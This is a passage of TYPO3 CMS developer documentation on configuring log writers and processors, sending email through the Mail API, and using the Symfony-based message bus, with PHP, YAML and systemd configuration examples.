Example of a CREATE TABLE statement for logTable:

EXT:my_extension/ext_tables.sql
#
# Table structure for table 'tx_examples_log'
#
# The KEY on request_id is optional
#
CREATE TABLE tx_examples_log
(
    request_id varchar(13) DEFAULT '' NOT NULL,
    time_micro double(16, 4) NOT NULL default '0.0000',
    component varchar(255) DEFAULT '' NOT NULL,
    level tinyint(1) unsigned DEFAULT '0' NOT NULL,
    message text,
    data text,

    KEY request (request_id)
);
Copied!

The corresponding configuration might look like this for the example class \T3docs\Examples\Controller:

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Core\Log\LogLevel;
use TYPO3\CMS\Core\Log\Writer\DatabaseWriter;

defined('TYPO3') or die();

$GLOBALS['TYPO3_CONF_VARS']['LOG']['T3docs']['Examples']['Controller']['writerConfiguration'] = [
    LogLevel::DEBUG => [
        DatabaseWriter::class => [
            'logTable' => 'tx_examples_log',
        ],
    ],
];
Copied!

FileWriter

The file writer logs into a log file, one log record per line. If the log file does not exist, it will be created (including parent directories, if needed).

Please make sure:

  • Your web server has write permissions to that path.
  • The path is below the root directory of your website (defined by Environment::getPublicPath()).

The filename is appended with a hash, that depends on the encryption key. If $GLOBALS['TYPO3_CONF_VARS']['SYS']['generateApacheHtaccess'] is set, an .htaccess file is added to the directory. It protects your log files from being accessed from the web. If the logFile option is not set, TYPO3 will use a filename containing a random hash, like typo3temp/logs/typo3_7ac500bce5.log.

The following options are available:

logFile

logFile
Type
string
Mandatory
no
Default
typo3temp/logs/typo3_<hash>.log (for example, like typo3temp/logs/typo3_7ac500bce5.log)

The path to the log file.

logFileInfix

logFileInfix
Type
string
Mandatory
no
Default
(empty string)

This option allows to set a different name for the log file that is created by the FileWriter without having to define a full path to the file. For example, the settings 'logFileInfix' => 'special' results in typo3_special_<hash>.log.

The corresponding configuration might look like this for the example class \T3docs\Examples\Controller:

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Core\Core\Environment;
use TYPO3\CMS\Core\Log\LogLevel;
use TYPO3\CMS\Core\Log\Writer\FileWriter;

defined('TYPO3') or die();

// Add example configuration for the logging API
$GLOBALS['TYPO3_CONF_VARS']['LOG']['T3docs']['Examples']['Controller']['writerConfiguration'] = [
    // configuration for ERROR level log entries
    LogLevel::ERROR => [
        // Add a FileWriter
        FileWriter::class => [
            // Configuration for the writer
            'logFile' => Environment::getVarPath() . '/log/typo3_examples.log',
        ],
    ],
];
Copied!

RotatingFileWriter

New in version 13.0

TYPO3 log files tend to grow over time if not manually cleaned on a regular basis, potentially leading to full disks. Also, reading its contents may be hard when several weeks of log entries are printed as a wall of text.

To circumvent such issues, established tools like logrotate are available for a long time already. However, TYPO3 may be installed on a hosting environment where "logrotate" is not available and cannot be installed by the customer. To cover such cases, a simple log rotation approach is available, following the "copy/truncate" approach: when rotating files, the currently opened log file is copied (for example, to typo3_<hash>.log.20230616094812) and the original log file is emptied.

Example of the var/log/ folder with rotated log files:

$ ls -1 var/log
typo3_<hash>.log
typo3_<hash>.log.20230613065902
typo3_<hash>.log.20230614084723
typo3_<hash>.log.20230615084756
typo3_<hash>.log.20230616094812
Copied!

The file writer \TYPO3\CMS\Core\Log\Writer\RotatingFileWriter extends the FileWriter class. The RotatingFileWriter accepts all options of FileWriter in addition of the following:

interval

interval
Type
\TYPO3\CMS\Core\Log\Writer\Enum\Interval , string
Mandatory
no
Default
\TYPO3\CMS\Core\Log\Writer\Enum\Interval::DAILY

The interval defines how often logs should be rotated. Use one of the following options:

  • \TYPO3\CMS\Core\Log\Writer\Enum\Interval::DAILY or daily
  • \TYPO3\CMS\Core\Log\Writer\Enum\Interval::WEEKLY or weekly
  • \TYPO3\CMS\Core\Log\Writer\Enum\Interval::MONTHLY or monthly
  • \TYPO3\CMS\Core\Log\Writer\Enum\Interval::YEARLY or yearly

maxFiles

maxFiles
Type
integer
Mandatory
non
Default
5

This option configured how many files should be retained (use 0 to never delete any file).

The following example introduces log rotation for the "main" log file:

config/system/additional.php | typo3conf/system/additional.php
<?php

declare(strict_types=1);

use Psr\Log\LogLevel;
use TYPO3\CMS\Core\Log\Writer\Enum\Interval;
use TYPO3\CMS\Core\Log\Writer\RotatingFileWriter;

$GLOBALS['TYPO3_CONF_VARS']['LOG']['writerConfiguration'][LogLevel::ERROR] = [
    RotatingFileWriter::class => [
        'interval' => Interval::DAILY,
        'maxFiles' => 5,
    ],
];
Copied!

Another example introduces log rotation for the "deprecation" log file:

config/system/additional.php | typo3conf/system/additional.php
<?php

declare(strict_types=1);

use Psr\Log\LogLevel;
use TYPO3\CMS\Core\Log\Writer\Enum\Interval;
use TYPO3\CMS\Core\Log\Writer\RotatingFileWriter;

$GLOBALS['TYPO3_CONF_VARS']['LOG']['TYPO3']['CMS']['deprecations']['writerConfiguration'][LogLevel::NOTICE] = [
    RotatingFileWriter::class => [
        'logFileInfix' => 'deprecations',
        'interval' => Interval::WEEKLY,
        'maxFiles' => 4,
        'disabled' => false,
    ],
];
Copied!

PhpErrorLogWriter

This writer logs into the PHP error log using error_log()

SyslogWriter

The syslog writer logs into the syslog (Unix only).

The following option is available:

facility

facility
Type
string
Mandatory
no
Default
USER

The syslog facility to log into.

Custom log writers

Custom log writers can be added through extensions. Every log writer has to implement the interface EXT:core/Classes/Log/Writer/WriterInterface.php (GitHub). It is suggested to extend the abstract class EXT:core/Classes/Log/Writer/AbstractWriter.php (GitHub) which allows you to use configuration options by adding the corresponding properties and setter methods.

Please keep in mind that TYPO3 will silently continue operating, in case a log writer is throwing an exception while executing the writeLog() method. Only in the case that all registered writers fail, the log entry with additional information will be added to the configured fallback logger (which defaults to the PhpErrorLog writer).

Usage in a custom class

All log writers can be used in your own classes. If the service is configured to use autowiring you can inject a logger into the __construct() method of your class \MyVendor\MyExtension\MyFolder\MyClass) since TYPO3 v11 LTS.

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

use Psr\Log\LoggerInterface;

final class MyClass
{
    public function __construct(
        private readonly LoggerInterface $logger,
    ) {}

    public function doSomething()
    {
        $this->logger->info('My class is executed.');

        $error = false;

        // ... something is done ...

        if ($error) {
            $this->logger->error('Error in class MyClass');
        }
    }
}
Copied!

If autowiring is disabled, the service class however must implement the interface \Psr\Log\LoggerAwareInterface and use the \Psr\Log\LoggerAwareTrait .

EXT:my_extension/Classes/MyClass.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension;

use Psr\Log\LoggerAwareInterface;
use Psr\Log\LoggerAwareTrait;

final class MyClass implements LoggerAwareInterface
{
    use LoggerAwareTrait;

    public function doSomething()
    {
        $this->logger->info('My class is executed.');

        $error = false;

        // ... something is done ...

        if ($error) {
            $this->logger->error('Error in class MyClass');
        }
    }
}
Copied!

One or more log writers for this class are configured in the file ext_localconf.php:

EXT:my_extension/ext_localconf.php
<?php

declare(strict_types=1);

use TYPO3\CMS\Core\Core\Environment;
use TYPO3\CMS\Core\Log\LogLevel;
use TYPO3\CMS\Core\Log\Writer\FileWriter;

defined('TYPO3') or die();

// Add example configuration for the logging API
$GLOBALS['TYPO3_CONF_VARS']['LOG']['MyVendor']['MyExtension']['MyClass']['writerConfiguration'] = [
    // Configuration for ERROR level log entries
    LogLevel::ERROR => [
        // Add a FileWriter
        FileWriter::class => [
            // Configuration for the writer
            'logFile' => Environment::getVarPath() . '/log/my_extension.log',
        ],
    ],
];
Copied!

Examples

Working examples of the usage of different Log writers can be found in the extension t3docs/examples .

Log processors

The purpose of a log processor is (usually) to modify a log record or add more detailed information to it.

Log processors allow you to manipulate log records without changing the code that actually calls the log method (inversion of control). This enables you to add any information from outside the scope of the actual calling function, such as webserver environment variables. The TYPO3 Core ships with some basic log processors, but more can be added with extensions.

Built-in log processors

This section describes the log processors that are shipped with the TYPO3 Core. Some processors have options to allow the customization of the particular processor. See the Configuration section for how to use these options.

IntrospectionProcessor

The introspection processor adds backtrace data about where the log event was triggered.

By default, the following parameters from the original function call are added:

file
The absolute path to the file.
line
The line number.
class
The class name.
function
The function name.

Options

appendFullBackTrace

appendFullBackTrace
Mandatory
no
Default
false

Adds a full backtrace stack to the log.

shiftBackTraceLevel

shiftBackTraceLevel
Mandatory
no
Default
0

Removes the given number of entries from the top of the backtrace stack.

MemoryUsageProcessor

The memory usage processor adds the amount of used memory to the log record (result from memory_get_usage()).

Options

realMemoryUsage

realMemoryUsage
Mandatory
no
Default
true

Use the real size of memory allocated from system instead of emalloc() value.

formatSize

formatSize
Mandatory
no
Default
true

Whether the size is formatted with GeneralUtility::formatSize().

MemoryPeakUsageProcessor

The memory peak usage processor adds the peak amount of used memory to the log record (result from memory_get_peak_usage()).

Options

realMemoryUsage

realMemoryUsage
Mandatory
no
Default
true

Use the real size of memory allocated from system instead of emalloc() value.

formatSize

formatSize
Mandatory
no
Default
true

Whether the size is formatted with GeneralUtility::formatSize().

WebProcessor

The web processor adds selected webserver environment variables to the log record, that means, all possible values from \TYPO3\CMS\Core\Utility\GeneralUtility::getIndpEnv('_ARRAY').

Custom log processors

Custom log processors can be added through extensions. Every log processor has to implement the interface EXT:core/Classes/Log/Processor/ProcessorInterface.php (GitHub). It is suggested to extend the abstract class EXT:core/Classes/Log/Processor/AbstractProcessor.php (GitHub) which allows you use configuration options by adding the corresponding properties and setter methods.

Please keep in mind that TYPO3 will silently continue operating, in case a log processor is throwing an exception while executing the processLogRecord() method.

Mail API

TYPO3 provides a RFC-compliant mailing solution based on symfony/mailer for sending emails and symfony/mime for creating email messages.

TYPO3’s backend functionality already ships with a default layout for templated emails, which can be tested out in TYPO3’s install tool test email functionality.

Configuration

Several settings are available via Admin Tools > Settings > Configure Installation-Wide Options > Mail which are stored into $GLOBALS['TYPO3_CONF_VARS']['MAIL'] . See MAIL settings for an overview of all settings.

Format

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['format'] can be both, plain or html. This option can be overridden in the project's config/system/settings.php or config/system/additional.php files.

Fluid paths

All Fluid-based template paths can be configured via

  • $GLOBALS['TYPO3_CONF_VARS']['MAIL']['layoutRootPaths']
  • $GLOBALS['TYPO3_CONF_VARS']['MAIL']['partialRootPaths']
  • $GLOBALS['TYPO3_CONF_VARS']['MAIL']['templateRootPaths']

where TYPO3 reserves all array keys below 100 for internal purposes.

If you want to provide custom templates or layouts, set this in your config/system/settings.php / config/system/additional.php file:

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['templateRootPaths'][700]
    = 'EXT:my_site_package/Resources/Private/Templates/Email';
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['layoutRootPaths'][700]
    = 'EXT:my_site_extension/Resources/Private/Layouts';
Copied!

Minimal example for a Fluid-based email template

Directory Structure:

  • EXT:my_site_package/

    • Resources

      • Private

        • Templates

          • Email

            • MyCustomEmail.html

`MyCustomEmail.html`:

EXT:my_site_package/Resources/Private/Templates/Email/MyCustomEmail.html
<f:layout name="SystemEmail" />

<f:section name="Subject">
    My Custom Subject
</f:section>

<f:section name="Main">
    Hello, this is a custom email template!
</f:section>
Copied!

transport

The most important configuration option for sending emails is $GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport'] , which can take the following values:

smtp

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport'] = 'smtp';
Sends messages over SMTP. It can deal with encryption and authentication. Works exactly the same on Windows, Unix and MacOS. Requires a mail server and the following additional settings:
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_server'] = '<server:port>';
Mail server name and port to connect to. Port defaults to 25.
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_encrypt'] = <bool>;
Determines whether the transport protocol should be encrypted. Requires OpenSSL library. Defaults to false. If false, symfony/mailer will use STARTTLS.
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_username] = '<username>';
The username, if your SMTP server requires authentication.
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_password] = '<password>';
The password, if your SMTP server requires authentication.

Example:

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport'] = 'smtp';
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_server'] = 'localhost';
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_encrypt'] = true;
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_username'] = 'johndoe';
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_smtp_password'] = 'cooLSecret';
// Fetches all 'returning' emails:
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['defaultMailFromAddress'] = 'bounces@example.org';
Copied!

sendmail

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport'] = 'sendmail';
Sends messages by communicating with a locally installed MTA - such as sendmail. This may require setting the additional option:
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_sendmail_command'] = '<command>';

The command to call to send an email locally. The default works on most modern Unix-based mail servers (sendmail, postfix, exim).

Example:

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport'] = 'sendmail';
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_sendmail_command'] = '/usr/sbin/sendmail -bs';
Copied!

mbox

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport'] = 'mbox';
This doesn't send any email out, but instead will write every outgoing email to a file adhering to the RFC 4155 mbox format, which is a simple text file where the emails are concatenated. Useful for debugging the email sending process and on development machines which cannot send emails to the outside. The file to write to is defined by:
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_mbox_file'] = '</abs/path/to/mbox/file>';
The file where to write the emails into. The path must be absolute.

<classname>

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport'] = '<classname>';
Custom class which implements \Symfony\Component\Mailer\Transport\TransportInterface. The constructor receives all settings from the MAIL section to make it possible to add custom settings.

Validators

Using additional validators can help to identify if a provided email address is valid or not. By default, the validator \Egulias\EmailValidator\Validation\RFCValidation is used. The following validators are available:

  • \Egulias\EmailValidator\Validation\DNSCheckValidation
  • \Egulias\EmailValidator\Validation\SpoofCheckValidation
  • \Egulias\EmailValidator\Validation\NoRFCWarningsValidation

Additionally, it is possible to provide an own implementation by implementing the interface \Egulias\EmailValidator\Validation\EmailValidation.

If multiple validators are provided, each validator must return true.

Example:

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['validators'] = [
    \Egulias\EmailValidator\Validation\RFCValidation::class,
    \Egulias\EmailValidator\Validation\DNSCheckValidation::class
];
Copied!

Spooling

The default behavior of the TYPO3 mailer is to send the email messages immediately. However, you may want to avoid the performance hit of the communication to the email server, which could cause the user to wait for the next page to load while the email is being sent. This can be avoided by choosing to "spool" the emails instead of sending them directly.

Spooling in memory

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_spool_type'] = 'memory';
Copied!

When you use spooling to store the emails to memory, they will get sent right before the kernel terminates. This means the email only gets sent if the whole request got executed without any unhandled exception or any errors.

Spooling using files

$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_spool_type'] = 'file';
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['transport_spool_filepath'] = '/folder/of/choice';
Copied!

When using the filesystem for spooling, you need to define in which folder TYPO3 stores the spooled files. This folder will contain files for each email in the spool. So make sure this directory is writable by TYPO3 and not accessible to the world (outside of the webroot).

Additional notes about the mail spool path:

  • If the path is absolute, the path must either start with the root path of the TYPO3 project or the public web folder path
  • If the path is relative, the public web path is prepended to the path
  • The path must not contain symlinks (important for environments with auto deployment)
  • The path must not contain //, .. or \

Sending spooled mails

To send the spooled emails you need to run the following CLI command:

vendor/bin/typo3 mailer:spool:send
Copied!
typo3/sysext/core/bin/typo3 mailer:spool:send
Copied!

This command can be set up to be run periodically using the TYPO3 Scheduler.

How to create and send emails

There are two ways to send emails in TYPO3 based on the Symfony API:

  1. With Fluid, using \TYPO3\CMS\Core\Mail\FluidEmail
  2. Without Fluid, using \TYPO3\CMS\Core\Mail\MailMessage

\TYPO3\CMS\Core\Mail\MailMessage and \TYPO3\CMS\Core\Mail\FluidEmail inherit from \Symfony\Component\Mime\Email and have a similar API. FluidEmail is specific for sending emails based on Fluid.

Either method can be used to send emails with HTML content, text content or both (HTML and text).

Send email with FluidEmail

This sends an email using a Fluid template TipsAndTricks.html, make sure the paths are setup as described in Fluid paths:

use Symfony\Component\Mime\Address;
use TYPO3\CMS\Core\Mail\FluidEmail;
use TYPO3\CMS\Core\Mail\MailerInterface;

$email = new FluidEmail();
$email
    ->to('contact@example.org')
    ->from(new Address('jeremy@example.org', 'Jeremy'))
    ->subject('TYPO3 loves you - here is why')
    ->format(FluidEmail::FORMAT_BOTH) // send HTML and plaintext mail
    ->setTemplate('TipsAndTricks')
    ->assign('mySecretIngredient', 'Tomato and TypoScript');
GeneralUtility::makeInstance(MailerInterface::class)->send($email);
Copied!

It is recommended to use the \TYPO3\CMS\Core\Mail\MailerInterface to be able to use custom mailer implementations.

A file TipsAndTricks.html must exist in one of the paths defined in $GLOBALS['TYPO3_CONF_VARS']['MAIL']['templateRootPaths'] for sending the HTML content. For sending plaintext content, a file TipsAndTricks.txt should exist.

Defining a custom email subject in a custom Fluid template:

<f:section name="Subject">New Login at "{typo3.sitename}"</f:section>
Copied!

Building templated emails with Fluid also allows to define the language key, and use this within the Fluid template:

$email = new FluidEmail();
$email
    ->to('contact@example.org')
    ->assign('language', 'de');
Copied!

In Fluid, you can now use the defined language key ("language"):

<f:translate languageKey="{language}" id="LLL:EXT:my_ext/Resources/Private/Language/emails.xml:subject" />
Copied!

Set the current request object for FluidEmail

In order to use ViewHelpers that need a valid current request, such as Uri.page ViewHelper <f:uri.page>, pass the current request to the FluidEmail instance:

use TYPO3\CMS\Core\Mail\FluidEmail;

$email = new FluidEmail();
$email->setRequest($this->request);
Copied!

Read more aboout Getting the PSR-7 request object in different contexts. In a context where no valid request object can be retrieved, such as in a Console command the affected ViewHelpers cannot be used.

Trying to use these ViewHelpers without a valid request throws an error like the following:

Example error output
[ERROR] The rendering context of ViewHelper f:link.page is missing a valid request object.
Copied!

Send email with MailMessage

MailMessage can be used to generate and send an email without using Fluid:

EXT:site_package/Classes/Utility/MyMailUtility.php
use Symfony\Component\Mime\Address;
use TYPO3\CMS\Core\Mail\MailMessage;
use TYPO3\CMS\Core\Utility\GeneralUtility;

// Create the message
$mail = GeneralUtility::makeInstance(MailMessage::class);

// Prepare and send the message
$mail
    // Defining the "From" email address and name as an object
    // (email clients will display the name)
    ->from(new Address('john.doe@example.org', 'John Doe'))

    // Set the "To" addresses
    ->to(
        new Address('receiver@example.org', 'Max Mustermann'),
        new Address('other@example.org')
    )

    // Give the message a subject
    ->subject('Your subject')

    // Give it the text message
    ->text('Here is the message itself')

    // And optionally an HTML message
    ->html('<p>Here is the message itself</p>')

    // Optionally add any attachments
    ->attachFromPath('/path/to/my-document.pdf')

    // And finally send it
    ->send()
;
Copied!

Or, if you prefer, do not concatenate the calls:

EXT:site_package/Classes/Utility/MyMailUtility.php
use Symfony\Component\Mime\Address;
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Core\Mail\MailMessage;

$mail = GeneralUtility::makeInstance(MailMessage::class);
$mail->from(new Address('john.doe@example.org', 'John Doe'));
$mail->to(
    new Address('receiver@example.org', 'Max Mustermann'),
    new Address('other@example.org')
);
$mail->subject('Your subject');
$mail->text('Here is the message itself');
$mail->html('<p>Here is the message itself</p>');
$mail->attachFromPath('/path/to/my-document.pdf');
$mail->send();
Copied!

How to add attachments

Attach files that exist in your file system:

EXT:site_package/Classes/Utility/MyMailUtility.php
// Attach file to message
$mail->attachFromPath('/path/to/documents/privacy.pdf');

// Optionally you can tell email clients to display a custom name for the file
$mail->attachFromPath('/path/to/documents/privacy.pdf', 'Privacy Policy');

// Alternatively attach contents from a stream
$mail->attach(fopen('/path/to/documents/contract.doc', 'r'));
Copied!

How to add inline media

Add some inline media like images in an email:

EXT:site_package/Classes/Utility/MyMailUtility.php
// Get the image contents from a PHP resource
$mail->embed(fopen('/path/to/images/logo.png', 'r'), 'logo');

// Get the image contents from an existing file
$mail->embedFromPath('/path/to/images/signature.png', 'footer-signature');

// reference images using the syntax 'cid:' + "image embed name"
$mail->html('<img src="cid:logo"> ... <img src="cid:footer-signature"> ...');
Copied!

How to set and use a default sender

It is possible to define a default email sender ("From:") in Admin Tools > Settings > Configure Installation-Wide Options:

config/system/additional.php | typo3conf/system/additional.php
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['defaultMailFromAddress'] = 'john.doe@example.org';
$GLOBALS['TYPO3_CONF_VARS']['MAIL']['defaultMailFromName'] = 'John Doe';
Copied!

This is how you can use these defaults:

EXT:site_package/Classes/Utility/MyMailUtility.php
use TYPO3\CMS\Core\Mail\MailMessage;
use TYPO3\CMS\Core\Utility\GeneralUtility;
use TYPO3\CMS\Core\Utility\MailUtility;

$from = MailUtility::getSystemFrom();
$email = new MailMessage();

// As getSystemFrom() returns an array we need to use the setFrom method
$email->setFrom($from);
// ...
$email->send();
Copied!

In case of the problem "Mails are not sent" in your extension, try to set a ReturnPath:. Start as before but add:

EXT:site_package/Classes/Utility/MyMailUtility.php
use TYPO3\CMS\Core\Utility\MailUtility;

// You will get a valid email address from 'defaultMailFromAddress' or if
// not set from PHP settings or from system.
// If result is not a valid email address, the final result will be
// no-reply@example.org.
$returnPath = MailUtility::getSystemFromAddress();
if ($returnPath != "no-reply@example.org") {
    $mail->setReturnPath($returnPath);
}
$mail->send();
Copied!

Register a custom mailer

To be able to use a custom mailer implementation in TYPO3, the interface \TYPO3\CMS\Core\Mail\MailerInterface is available, which extends \Symfony\Component\Mailer\MailerInterface. By default, \TYPO3\CMS\Core\Mail\Mailer is registered as implementation.

After implementing your custom mailer, add the following lines into the Configuration/Services.yaml file to ensure that your custom mailer is used.

EXT:site_package/Configuration/Services.yaml
TYPO3\CMS\Core\Mail\MailerInterface:
    alias: MyVendor\SitePackage\Mail\MyCustomMailer
Copied!

PSR-14 events on sending messages

Some PSR-14 events are available:

Symfony mail documentation

Please refer to the Symfony documentation for more information about available methods.

Message bus

TYPO3 provides a message bus solution based on symfony/messenger. It has the ability to send messages and then handle them immediately (synchronous) or send them through transports (asynchronous, for example, queues) to be handled later.

For backwards compatibility, the default implementation uses the synchronous transport. This means that the message bus will behave exactly as before, but it will be possible to switch to a different (asynchronous) transport on a per-project base.

To offer asynchronicity, TYPO3 also provides a transport implementation based on the Doctrine DBAL messenger transport from Symfony and a basic implementation of a consumer command.

"Everyday" usage - as a developer

Dispatch a message

  1. Add a PHP class for your message object (which is an arbitrary PHP class)

    EXT:my_extension/Classes/Queue/Message/DemoMessage.php
    <?php
    
    declare(strict_types=1);
    
    namespace MyVendor\MyExtension\Queue\Message;
    
    final class DemoMessage
    {
        public function __construct(
            public readonly string $content,
        ) {}
    }
    
    Copied!
  2. Inject the MessageBusInterface into your class and call the dispatch() method

    EXT:my_extension/Classes/MyClass.php
    <?php
    
    declare(strict_types=1);
    
    namespace MyVendor\MyExtension;
    
    use MyVendor\MyExtension\Queue\Message\DemoMessage;
    use Symfony\Component\Messenger\MessageBusInterface;
    
    final class MyClass
    {
        public function __construct(
            private readonly MessageBusInterface $bus,
        ) {}
    
        public function doSomething(): void
        {
            // ...
            $this->bus->dispatch(new DemoMessage('test'));
            // ...
        }
    }
    
    Copied!

Register a handler

Changed in version 13.0

A message handler can be registered using the symfony PHP attribute \Symfony\Component\Messenger\Attribute\AsMessageHandler.

Implement the handler class

EXT:my_extension/Classes/Queue/Handler/DemoHandler.php
<?php

declare(strict_types=1);

namespace MyVendor\MyExtension\Queue\Handler;

use MyVendor\MyExtension\Queue\Message\DemoMessage;
use Symfony\Component\Messenger\Attribute\AsMessageHandler;

#[AsMessageHandler]
final class DemoHandler
{
    public function __invoke(DemoMessage $message): void
    {
        // do something with $message
    }
}
Copied!

If your extension needs to be compatible with TYPO3 v13 and v12, use a tag to register the handler. A Services.yaml entry is also needed to use before/ after to define an order.

EXT:my_extension/Configuration/Services.yaml
MyVendor\MyExtension\Queue\Handler\DemoHandler:
  tags:
    - name: 'messenger.message_handler'

# Define another handler which should be called before DemoHandler:
MyVendor\MyExtension\Queue\Handler\DemoHandler2:
  tags:
    - name: 'messenger.message_handler'
      before: 'MyVendor\MyExtension\Queue\Handler\DemoHandler'
Copied!

"Everyday" usage - as a system administrator/integrator

By default, TYPO3 will behave like in versions before TYPO3 v12. This means that the message bus will use the synchronous transport and all messages will be handled immediately. To benefit from the message bus, it is recommended to switch to an asynchronous transport. Using asynchronous transports increases the resilience of the system by decoupling external dependencies even further.

Currently, the TYPO3 Core provides an asynchronous transport based on the Doctrine DBAL messenger transport. This transport is configured to use the default TYPO3 database connection. It is pre-configured and can be used by changing the settings:

config/settings.php | config.additional.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['messenger']['routing']['*'] = 'doctrine';
Copied!

This will route all messages to the asynchronous transport (mind the *).

Async message handling - The consume command

To consume messages, run the command:

vendor/bin/typo3 messenger:consume <receiver-name>
Copied!
typo3/sysext/core/bin/typo3 messenger:consume <receiver-name>
Copied!

By default, you should run:

vendor/bin/typo3 messenger:consume doctrine
Copied!
typo3/sysext/core/bin/typo3 messenger:consume doctrine
Copied!

The command is a slimmed-down wrapper for the Symfony command messenger:consume, it only provides the basic consumption functionality. As this command is running as a worker, it is stopped after 1 hour to avoid memory leaks. Therefore, the command should be run from a service manager like systemd to restart automatically after the command exits due to the time limit.

The following code provides an example for a service. Create the following file on your server:

/etc/systemd/system/typo3-message-consumer.service
[Unit]
Description=Run the TYPO3 message consumer
Requires=mariadb.service
After=mariadb.service

[Service]
Type=simple
User=www-data
Group=www-data
ExecStart=/usr/bin/php8.1 /var/www/myproject/vendor/bin/typo3 messenger:consume doctrine --exit-code-on-limit 133
# Generally restart on error
Restart=on-failure
# Restart on exit code 133 (which is returned by the command when limits are reached)
RestartForceExitStatus=133
# ..but do not interpret exit code 133 as an error (as it's just a restart request)
SuccessExitStatus=133

[Install]
WantedBy=multi-user.target
Copied!

Advanced usage

Configure a custom transport (Senders/Receivers)

Transports are configured in the services configuration. To allow the configuration of a transport per message, the TYPO3 configuration (settings.php, additional.php on system level, or ext_localconf.php in an extension) is utilized. The transport/sender name used in the settings is resolved to a service that has been tagged with message.sender and the respective identifier.

config/settings.php | config/additional.php | EXT:my_extension/ext_localconf.php
$GLOBALS['TYPO3_CONF_VARS']['SYS']['messenger'] = [
    'routing' => [
        // Use "messenger.transport.demo" as transport for DemoMessage
        \MyVendor\MyExtension\Queue\Message\DemoMessage::class => 'demo',

        // Use "messenger.transport.default" as transport for all other messages
        '*' => 'default',
    ]
];
Copied!
EXT:my_extension/Configuration/Services.yaml | config/system/services.yaml
messenger.transport.demo:
  factory: [ '@TYPO3\CMS\Core\Messenger\DoctrineTransportFactory', 'createTransport' ]
  class: 'Symfony\Component\Messenger\Bridge\Doctrine\Transport\DoctrineTransport'
  arguments:
    $options:
      queue_name: 'demo'
  tags:
    - name: 'messenger.sender'
      identifier: 'demo'
    - name: 'messenger.receiver'
      identifier: 'demo'

messenger.transport.default:
  factory: [ '@Symfony\Component\Messenger\Transport\InMemory\InMemoryTransportFactory', 'createTransport' ]
  class: 'Symfony\Component\Messenger\Transport\InMemory\InMemoryTransport'
  arguments:
    $dsn: 'in-memory://default'
    $options: [ ]
  tags:
    - name: 'messenger.sender'
      identifier: 'default'
    - name: 'messenger.receiver'
      identifier: 'default'
Copied!

The TYPO3 Core has been tested with three transports:

  • \Symfony\Component\Messenger\Transport\Sync\SyncTransport (default)
  • \Symfony\Component\Messenger\Bridge\Doctrine\Transport\DoctrineTransport (using the Doctrine DBAL messenger transport)
  • \Symfony\Component\Messenger\Transport\InMemory\InMemoryTransport (for testing)

Add rate limiter

New in version 13.4

Rate limiting can be applied to asynchronous messages processed through the consume command. This allows controlling message processing rates to:

  • Stay within external service limits (API quotas, mail sending thresholds)
  • Manage server resource utilization

Example: Usage of a rate limiter

Use the following configuration to limit the process of messages to max. 100 each 60 seconds:

EXT:my_extension/Configuration/Services.yaml | config/system/services.yaml
messenger.rate_limiter.limit_db_messages:
  class: Symfony\Component\RateLimiter\RateLimiterFactory
  arguments:
    $config:
      id: 'limit_db_messages'
      policy: 'sliding_window'
      limit: 100
      interval: '60 seconds'
    $storage: '@TYPO3\CMS\Core\RateLimiter\Storage\CachingFrameworkStorage'
  tags:
    - name: 'messenger.rate_limiter'
      identifier: 'doctrine'
Copied!

InMemoryTransport for testing

The InMemoryTransport is a transport that should only be used while testing.

EXT:my_extension/Configuration/Services.yaml | config/system/services.yaml
messenger.transport.default:
  factory: [ '@Symfony\Component\Messenger\Transport\InMemory\InMemoryTransportFactory', 'createTransport' ]
  class: 'Symfony\Component\Messenger\Transport\InMemory\InMemoryTransport'
  public: true
  arguments:
    $dsn: 'in-memory://default'
    $options: [ ]
  tags:
    - name: 'messenger.sender'
      identifier: 'default'
    - name: 'messenger.receiver'
      identifier: 'default'
Copied!

Configure a custom middleware

The middleware is set up in the services configuration. By default, the \Symfony\Component\Messenger\Middleware\SendMessageMiddleware and the \Symfony\Component\Messenger\Middleware\HandleMessageMiddleware are registered. See also the Custom middleware section in the Symfony documentation.

To add your own middleware, tag it as messenger.middleware and set the order using TYPO3's before and after ordering mechanism:

EXT:my_extension/Configuration/Services.yaml | config/system/services.yaml
Symfony\Component\Messenger\Middleware\SendMessageMiddleware:
  arguments:
    $sendersLocator: '@Symfony\Component\Messenger\Transport\Sender\SendersLocatorInterface'
    $eventDispatcher: '@Psr\EventDispatcher\EventDispatcherInterface'
